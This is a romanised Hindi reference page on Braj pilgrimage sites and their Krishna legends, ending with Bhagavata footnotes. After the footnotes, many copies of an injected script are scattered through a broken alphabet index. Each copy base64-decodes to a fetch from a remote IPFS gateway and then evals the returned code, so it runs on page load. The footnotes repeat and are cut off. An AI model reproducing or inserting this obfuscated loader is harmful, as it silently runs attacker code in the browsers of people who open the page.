बिहारवन

ramaghat se dedh mil dakshin-pashchim mean biharavan hai. yahaan bihari ji ka darshan aur biharakund hai. yahaan par brajabihari krishna ne radhika ke sahit gopiyoan ke sath rasavihar kiya evan anyany nana prakar ke kri da-vilas kiye the. shri yamuna ke pas hi yah ek ramaniy sthal hai. braj ke adhikaansh vanoan ke kat jane par bhi abhi tak biharavan ka kuchh aansh surakshit hai. abhi bhi isamean hazaroan mayoor 'ke-ka' rav karate haian, varsha ke dinoan mean pankh phailakar nrity karate haian, koyalean kuhakati haian. isamean abhi bhi sundar-sundar krinj, kadambakhandi tatha nana prakar ki lataean vartaman haian. inaka darshan karane se krishnalila ki madhur smritiyaan jag uthati haian. yahaan ki goshala mean b di sundar-sundar gooean, phudakate hue bachh de aur matt saan d shrikrishna ki gocharan lila ki madhur smriti jagrit karate haian.

tapovan

yah sthan akshayavat ki poorv disha mean ek mil door yamuna ke tat par avasthit hai. gop kanyao ne 'shrikrishna hi hamare pati hoan' is kamana se aradhana ki thian kahate haian ye gop kanyaean ve hai jo poorv janm mean dandakarany mean shrikrishna ko pane ki lalasa se tapasya mean rat the tatha shri ramachandr ji ki kripa se dvapar mean gopigarbh se janme the. inamean janakapur ki rajakanyaean bhi sammilit thian, jo sita ki bhaanti shriramachandr ji se vivah karana chahati thian. ve bhi shriramachandr ji ki kripa se dvaparayug ke aant mean braj mean gopakanyaoan ke roop mean janmi thian. inhian gop kumariyoan ki shrikrishna prapti ke lie aradhana sthal hai yah tapovan. braj ki shrilalita vishakha adi nityasiddha gopiyaan antaragnasvaroop shakti radhika ji ki kayavyooh svaroopa hai. unhean tap karane ki koee bhi avashyakata nahian.

gopighat

yahaan uparokt gopiyaan yamuna mean snan karati thian. isalie isaka nam gopi ghat hai.

chiraghat

yah lilasthali akshayavat se do mil pashchim mean sthit hai. gop kumariyoan ne 'shrikrishna pati ke roop mean prapt hoan',^[1] is ashay se ek mas tak niyamit roop se niyam vratadi ka palan karate hue katyayani devi ki pooja ki thian.^[2] vrat ke aant mean kuchh priy sakhaoan ke sath shrikrishna ne gopiyoan ke vastr-haran kiye tatha unhean unaki abhilasha poorn hone ka varadan diya tha. yamuna ke tat par yahaan katyayani devi ka mandir hai. gaanv ka vartaman nam siyaro hai.

nandaghat

yah sthan gopi ghat se do mil dakshin aur akshayavat se ek mil dakshin poorv mean sthit hai.

prasang

ek bar maharaj nand ne ekadashi ka vrat kiya aur dvadashi lagane par ratri ki bela mean hi ve isi ghat par snan kar rahe the. yah asurik bela thi isalie varun ke doot unhean pak dakar varun dev ke samane le gaye. yamunaji mean maharaj nand ke adrishy hane ka samachar pakar brajavasi log b de dukhi hue. brajavasiyoan ka krandan dekhakar shrikrishna, balaramaji ko unaki dekh-rekh karane ke lie vahian chho dakar svayan varunalok mean gaye. vahaan varunadev ne krishna ko dekhakar nana-prakar se unaki stav-stuti ki aur upaharasvaroop nana prakar ke mani-mukta ratnalankar adi bheantakar apane is krity ke lie kshama yachana ki. shrikrishna pita shrinand maharajaji ko lekar isi sthan par pun: brajavasiyoan se mile.

doosara prasang

ek samay jiv gosvami ne kisi digvijayi pandit ko shastrarth mean parajit kar diya tha. vah digvijayi pandit shri roop gosvami ke granthoan ka sanshodhan karana chahata tha. balak jiv gosvami ise sah nahian sake. vrindavan mean yamuna ghat par parajit hone par digvijayi pandit balak ki viddhatta ki bhoori prashansa karata hua v shri roopagosvami se parichay poochha. shri roopagosvami ne namrata ke sath uttar diya- yah mere bhaee ka putr tatha mera shishy hai. shri roop gosvami samajh gaye ki jiv ne isake sath shastrarth kiya hai. digvijayi pandit ke chale jane ke bad shrilaroopagosvami ne kaha- jiv! tum itani-si bat bhi sahan nahian kar sakate? abhi bhi tumhare andar pratishtha ki lalasa hai. at: tum abhi yahaan se chale jao. shri jivagosvami, shri roopagosvami ke kathor shasan vaky ko sunakar b de dukhi hue. ve vrindavan se nandaghat ke nikat yamuna ke kinare saghan nirjan van mean kisi prakar b de kasht se rahane lage . ve yamuna ke tat par magaroan ki maand mean rahate. kabhi-kabhi ata mean jal milakar vaise hi pi lete, to kabhi upavas rahate. is prakar shrigurudev ke virah mean t daphate hue jivan yapan karane lage. kuchh hi dinoan mean sharir sookhakar kaanta ho gaya. unhian dinoan shri sanatan gosvami braj parikrama ke bahane nandaghat par upasthit hue. vahaan brajavasiyoan ke mukh se ek kishor gau diy bal ke sadhu ki kathor aradhana evan usaki bhoori-bhoori prashansa sunakar ve jiv gosvami ke pas pahuanche tatha saantvana dekar use apane sath vrindavan le aye. apani bhajan kuti mean jiv ko chho dakar ve akele hi roop gosvami ke pas pahuanche. shri roop gosvami us samay jivoan par daya ke sambandh mean upasthit vaishnavoan ke samane vyakhya kar rahe the. shri sanatan gosvami ne us vyakhya ke bich mean hi shri roop gosvami se poochha- tum doosaroan ko to jiv par daya karane ka upadesh de rahe ho kintu svayan jiv par daya kyoan nahi karate? shri roop gosvami ne b de bhaee aur guru shri sanatan gosvami ki paheli ka rahasy janakar shri jiv ko apane pas bulakar unaki chikitsa karaee tatha pun: apani seva mean niyukt kar unhean apane pas rakh liya. nandaghat mean rahate hue shrijiv gosvami ne apane shatsandarbh roop prasiddh granth ka pranayan kiya tha. yahaan par abhi bhi shrijiv gosvami ka sthan jiv gosvami ki gufa ke roop mean prasiddh hai.

bhaiya bhayagaanv

shrinand maharaj varun ke dootoan ko dekhakar yahaan bhayabhit ho gaye the. isalie vajranabh ne is gaanv ka nam bhayagaanv rakha. bhayagaanv nandaghat se sanlagn hai.

gaangrali

chiraghat se do mil dakshin aur kuchh poorv disha mean tatha bhayagaanv se do mil uttar mean gaangrali avasthit hai.

unaee athava janaee gaanv

yah sthan bajana se dedh mil dakshin mean sthit hai. yahaan shrikrishna sakhaoan ke sath baithakar bhojan lila kar rahe the, jisase brahma ko moh utpann hua. aant mean krishna ne anugrah kar brahmaji ka moh door kiya aur apane ko jana diya. us samay brahma ne is vishv ko krishnamay dekha(jana) isalie is sthan ka nam janaee gaanv hai.

balahara

yahaan brahmaji ne gvalabaloan ka haran kiya tha. atev is sthan ka nam balahara hai.

tamalavan tatha krishnakund tila

tamal vrikshoan saghan van se parimandit, shriradhakrishna ke milan aur rasamayi kri daoan ka sthan hai, ek samay rasik bihari shrikrishna sakhiyoan ke sath radhaji se isi tamalakunj mean mile. tamalavrikshoan se lipati huee oopar tak phaili nana prakar ki lataean vallariyaan b di suhavani lag rahi thian. shrikrishna ne priyaji ko iangit kar poochha- 'yah lata tamal vriksh se lipati hueean kya kah rahi haian? 'radhika ne muskarakar uttar diya- 'svabhavik roop se is lata ne tamal vriksh ka avalamban kar use apani belo, pattoan aur pushpoan se achchhadit kar rakha hai, yah vriksh ka saubhagy hai ki vriksh mean phal aur pushp nahi rahane par bhi lataean apane pallavoan aur pushpoan se is vriksh ka ka saundary adhik badha rahi hai. ' isi samay pavan ke ek jhoanke ne lata ko jhakajhor diya. yah dekhakar kishor-kishori donoan yugal bhav mean vibhor ho gaye. yah tamalavan is smriti ko sanjoe hue abhi bhi vartaman hai.

chhoonarak

saubhari rrishi ka yahian par ashram tha. yah sthan vrindavan sthit kaliyahnad ke samip hi ek mil pashchim mean avasthit hai.

harasali

yahaan shrikrishna ki rasalila sthali hai. pas hi surookhuroo gaanv hai. seeese dedh mil uttar-poorv mean maee-basaee namak do gaanv haian. maee ke uttar-poorv mean basaee gaanv hai.

tika-tippani

↑ katyayani mahamaye mahayoginyadhishvari. nandagopasutan devi patian me kuru te nam:॥ shrimadbhagavat 10/22/04
↑ evan masan vratan cheroo: kumary: krishnachetas:. bhadrakalian samanarchurbhooyannandasut: pati:.. shrimadbhagavat 10/22/05

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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> r <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> l <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> v <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> sh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> sh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> s <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> h <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> ksh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> tr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> jn <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> aau <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> shr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>aah

[1] tyayani mahamaye mahayoginyadhishvari. nandagopasutan devi patian me kuru te nam:॥ shrimadbhagavat 10/22/04

[2] van masan vratan cheroo: kumary: krishnachetas:. bhadrakalian samanarchurbhooyannandasut: pati:.. shrimadbhagavat 10/22/05

[1]

[2]